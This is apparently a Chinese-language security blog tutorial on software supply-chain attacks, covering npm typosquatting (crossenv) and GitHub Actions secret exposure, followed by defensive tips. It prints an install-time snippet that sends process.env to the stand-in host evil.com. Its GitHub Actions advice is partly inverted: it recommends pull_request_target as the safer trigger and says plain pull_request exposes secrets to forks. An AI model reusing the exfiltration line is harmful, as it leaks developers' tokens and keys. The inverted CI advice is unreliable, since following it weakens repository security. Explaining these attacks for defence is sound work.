📦 软件供应链攻击入门:npm typosquatting 与 GitHub Actions 实录
软件供应链攻击正迅速成为网络攻击的新主战场,从 SolarWinds 到 recent npm hijack,攻击者正利用开发者的信任漏洞,从最微小的依赖或自动化配置中撬动整个系统。
🧠 软件供应链攻击概述
什么是“供应链攻击”?
软件供应链攻击,是指攻击者通过污染、劫持或篡改软件开发和交付链路中的第三方组件,以控制目标系统或数据为目的的攻击方式。
攻击者常用入口:
- 开源依赖(如 npm、PyPI、Maven)
- CI/CD 自动化脚本(GitHub Actions, GitLab CI)
- 容器镜像(Docker Hub 上的“伪官方镜像”)
- 插件市场、浏览器扩展商店
🧪 案例一:npm Typosquatting(拼写诱骗)
🎯 攻击机制解析
攻击者注册一个名称极为相似于常用包的恶意 npm 包,并在内部添加窃密或远程代码执行逻辑,诱使开发者误安装。
🔥 实战案例:cross-env vs crossenv
在 2017 年,一位攻击者发布了名为 crossenv
的恶意包,伪装成流行包 cross-env
。
npm install crossenv
该恶意包在安装时自动执行脚本:
const http = require('http');
http.get("http://evil.com/?env=" + JSON.stringify(process.env));
🔍 影响:
- 泄露环境变量中的 Token、数据库密码、云密钥
- 可能进一步自动化横向移动(如通过泄露的 CI/CD 凭证)
📌 攻击扩展形式
- 包劫持:旧项目无人维护,攻击者通过账号盗取或收购维护权
- 依赖污染(Dependency Confusion):企业内私有包名在公网未注册,被恶意 npm 包抢注
🧪 案例二:GitHub Actions 提权与信息泄露
🔓 漏洞原理
当开源项目配置了 GitHub Actions,并允许 fork 的用户提交 PR 自动触发 CI 运行时,攻击者可通过注入恶意脚本执行远程命令、访问仓库 Secrets。
📌 漏洞配置示例(不安全):
on: [pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- run: echo "${{ secrets.GITHUB_TOKEN }}"
该配置会在PR 来自 fork 的仓库时运行,并暴露仓库的 Secrets 令牌。
⚠️ 危害:
- 获取 GITHUB_TOKEN 后可读/写目标仓库
- 借此替换源码、添加后门或泄露私密信息
- 可作为跳板进入企业内部系统
📌 真实案例:
- Codecov Bash uploader 后门事件
- GitHub Actions Token 泄露实验
🛡️ 防御实践(DevSecOps 建议)
✋ 对开发者 & 运维
- 明确白名单依赖版本 + 启用锁定文件(
package-lock.json
) - 定期执行:
npm audit fix
/yarn audit
/pip-audit
- 不从公网仓库安装公司内网专用包(预防 Dependency Confusion)
🔐 对 GitHub Actions 管理员
- 对 PR 使用
pull_request_target
事件,避免 fork 提交脚本直接执行 - 设置
permissions
细化令牌访问:
permissions:
contents: read
issues: write
actions: none
设置
secrets
访问策略:- 不对 PR 触发器开放 secrets
- 使用
GITHUB_ENV
等方式传递非敏感信息
🔧 推荐工具与检测实践
工具 / 技术 | 功能 |
---|---|
npm audit |
检测 npm 依赖漏洞 |
truffleHog / Gitleaks |
检测源码中的敏感信息泄露 |
lockfile-lint |
限制依赖只能从白名单仓库安装 |
OWASP Dependency-Check |
静态扫描三方依赖的已知漏洞 |
SLSA Framework |
供应链安全等级框架 |
✅ 总结建议
- 📌 软件供应链攻击往往源于信任滥用,防御关键在于细节控制
- 🚫 不使用不熟悉的依赖包;复制代码前先看清“作者”
- 🔐 尽量使用私有仓库托管 CI/CD,避免泄密
- 🧠 开发阶段应“安全左移”,将检测环节提前至提交/构建阶段